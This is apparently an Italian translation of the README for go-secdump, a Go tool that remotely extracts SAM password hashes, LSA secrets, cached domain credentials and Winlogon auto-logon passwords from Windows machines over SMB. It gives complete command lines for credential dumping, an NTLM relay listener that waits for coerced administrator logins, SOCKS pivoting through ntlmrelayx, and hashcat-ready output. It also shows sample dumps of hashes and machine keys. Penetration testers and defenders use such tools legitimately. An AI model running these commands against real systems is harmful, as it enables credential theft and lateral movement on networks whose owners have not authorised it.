
Strumento per estrarre segreti da remoto dal registro di Windows
Il pacchetto go-secdump è uno strumento progettato per estrarre da remoto gli hash dal registro SAM, nonché i segreti LSA e gli hash memorizzati nella cache dell'hive SECURITY, senza alcun agente remoto e senza toccare il disco.
Lo strumento si basa sulla libreria go-smb e la utilizza per comunicare con il Registro di sistema remoto di Windows per recuperare le chiavi di registro direttamente dalla memoria.
È stato sviluppato come esperienza di apprendimento e come prova di concetto che dovrebbe essere possibile recuperare da remoto gli hash NT dall'hive SAM e i segreti LSA, così come le credenziali memorizzate nella cache del dominio, senza dover prima salvare gli hive del registro su disco e poi analizzarli localmente.
Il problema principale da superare era che gli hive SAM e SECURITY sono leggibili solo da NT AUTHORITY\SYSTEM. Tuttavia, ho notato che gli amministratori del gruppo locale avevano il permesso WriteDACL sugli hive del registro e quindi potevano essere utilizzati per concedere temporaneamente l'accesso in lettura a sé stessi per recuperare i segreti e poi ripristinare i permessi originali.
Tuttavia, un approccio migliore è stato scoperto (febbraio 2025) da Julien Egloff di Synacktiv. La richiesta BaseRegOpenKey utilizzata per aprire handle alle chiavi di registro ha un'opzione per affermare il privilegio SeBackupPrivilege, che ci consente di aprire le chiavi di registro senza dover prima modificare i DACL. Lo strumento è stato aggiornato per preferire questo nuovo approccio e modificare i DACL solo se richiesto esplicitamente.
Gran parte del codice in questo progetto è ispirato/tratto da Impacket's secdump, ma convertito per accedere al registro di Windows da remoto e per accedere solo alle chiavi di registro necessarie.
Altre fonti che sono state utili per comprendere la struttura del registro e i metodi di crittografia sono elencate di seguito:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
L'idea di utilizzare SeBackupPrivilege proviene da Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> Hostname o indirizzo IP del server remoto. Deve essere un hostname quando si usa Kerberos
-P, --port <port> Porta SMB (default 445)
-d, --domain <domain> Nome del dominio per il login
-u, --user <username> Nome utente
-p, --pass <pass> Password
-n, --no-pass Disabilita il prompt della password e non invia credenziali
--hash <NT Hash> Hash NT esadecimale per la password utente
--local Autentica come utente locale anziché utente di dominio
-k, --kerberos Usa autenticazione Kerberos. (KRB5CCNAME verrà controllato su Linux)
--dc-ip <ip> Opzionale: specifica l'IP del KDC quando si usa autenticazione Kerberos
--target-ip <ip> Opzionale: specifica l'IP del target quando si usa autenticazione Kerberos
--aes-key <hex> Usa una chiave AES128/256 esadecimale per l'autenticazione Kerberos
--keytab-file <file> Autentica usando le chiavi da un file keytab (implica -k). Utente e dominio sono presi dalla prima voce del keytab se non specificati
--dns-host <ip[:port]> Sovrascrive il resolver DNS predefinito del sistema
--dns-tcp Forza le ricerche DNS su TCP. Default true quando si usa --socks-host
--dump Salva gli hive SAM e SECURITY su disco e li trasferisce alla macchina locale.
--sam Estrae esplicitamente i segreti dall'hive SAM. Solo gli altri target espliciti sono inclusi.
--lsa Estrae esplicitamente i segreti LSA. Solo gli altri target espliciti sono inclusi.
--dcc2 Estrae esplicitamente le cache DCC2. Solo gli altri target espliciti sono inclusi.
--misc Estrae esplicitamente i segreti di registro vari come DefaultPassword di Winlogon. Solo gli altri target espliciti sono inclusi.
--modify-dacl Modifica i DACL delle chiavi di registro prima del dump.
Necessario solo se le chiavi non possono essere aperte usando SeBackupPrivilege. (default false)
--backup-dacl Salva i DACL originali su disco prima della modifica
--restore-dacl Ripristina i DACL usando il backup su disco. Potrebbe essere utile se il ripristino automatico fallisce.
--backup-file <file> Nome file per il backup dei DACL (default dacl.backup)
--relay Avvia un listener SMB che inoltrerà le autenticazioni
NTLM in arrivo al server remoto e userà quella connessione. NOTA: forza SMB 2.1
senza crittografia.
--relay-port <port> Porta di ascolto per il relay (default 445)
--socks-host <target> Stabilisce la connessione tramite un server proxy SOCKS5
--socks-port <port> Porta del proxy SOCKS5 (default 1080)
-t, --timeout <duration> Timeout di connessione in formato 5s o 2m (default 5s)
--noenc Disabilita la crittografia SMB
--smb2 Forza SMB 2.1
--debug Abilita logging di debug. Solo --debug attiva ogni pacchetto
registrato; --debug=msrrp,smb attiva solo i suffissi dei nomi dei pacchetti elencati
(la forma con '=' è richiesta per il filtro).
--verbose Abilita logging verboso. Stessa sintassi di filtro di --debug.
--debug e --verbose possono essere combinati con filtri diversi;
un pacchetto bersagliato da entrambi ottiene il livello superiore.
--list-log-packages Elenca i nomi dei pacchetti di log registrati che possono essere
bersagliati con --debug=<suffix> o --verbose=<suffix>,
poi esce.
-o, --output <file> Nome file per scrivere i risultati (default è stdout). Aggiunge al file se esiste.
--output-format <fmt> Formato di output: text (default), json o hashcat
--history Include i segreti LSA storici (OldVal) oltre ai valori correnti
-q, --quiet Sopprime le intestazioni informative; stampa solo i segreti
-v, --version Mostra la versione
Ora solo come funzionalità opzionale abilitata con --modify-dacl,
go-secdump tenterà automaticamente di modificare e poi ripristinare i DACL delle
chiavi di registro necessarie. Tuttavia, se qualcosa va storto durante la fase di
ripristino, come una disconnessione di rete o un altro interrupt, il registro remoto
rimarrà con i DACL modificati.
Usando l'argomento --backup-dacl è possibile memorizzare una copia serializzata dei
DACL originali prima della modifica.
Se si verifica un problema di connettività, i DACL possono essere successivamente ripristinati
dal file usando l'argomento --restore-dacl.
Estrai tutti i segreti del registro usando il trucco SeBackupPrivilege
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
oppure
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Estrai solo cache SAM, LSA, DCC2 o segreti di registro vari
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
Il target --misc estrae segreti di registro vari che non appartengono agli hive
SAM/LSA/DCC2, attualmente la password di auto-logon Winlogon DefaultPassword (e
l'associato DefaultUserName) quando presente.
Includi i segreti LSA storici (OldVal) oltre ai valori correnti con
--history. Scrivi i risultati in un file con -o/--output (aggiunto se esiste)
e scegli come formattare i segreti con --output-format:
text (default) — leggibile dall'uomojson — un array JSON di record tipizzati, utile per ulteriori elaborazionihashcat — hash NT nudi (modalità 1000) e righe $DCC2$ (modalità 2100) pronti per essere alimentati a hashcatUsa -q/--quiet per sopprimere le intestazioni informative e il riepilogo in modo che vengano
stampati solo i segreti stessi.
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet
Elenca i nomi dei pacchetti di log che possono essere bersagliati, poi abilita il logging di debug o verboso per pacchetti specifici (abbinati per suffisso del nome) anziché per tutti:
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb
Estrai segreti del registro usando NTLM relaying
Avvia il listener
./go-secdump --host 192.168.0.100 -n --relay
Innesca un'autenticazione verso la tua macchina da un client con accesso amministrativo a 192.168.0.100 in qualche modo e poi attendi i segreti estratti.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connesso da 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) autenticato con successo come (domain.local\Administrator) verso (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] La firma NON è richiesta
2023/12/13 14:47:28 [Notice] [+] Login riuscito come domain.local\Administrator
[*] Estrazione hash SAM locali
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <vuoto>
Name: DefaultAccount
RID: 503
NT: <vuoto>
Name: WDAGUtilityAccount
RID: 504
NT: <vuoto>
[*] Estrazione segreti LSA
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Estrazione credenziali di dominio memorizzate nella cache (dominio/utente:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Estrai segreti usando un proxy SOCKS5 a monte sia per il pivoting che per sfruttare la funzionalità del server SOCKS di Impacket's ntlmrelayx.py.
Quando si usa ntlmrelayx.py come proxy a monte, il nome utente fornito deve corrispondere a quello del client autenticato, ma la password può essere vuota.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080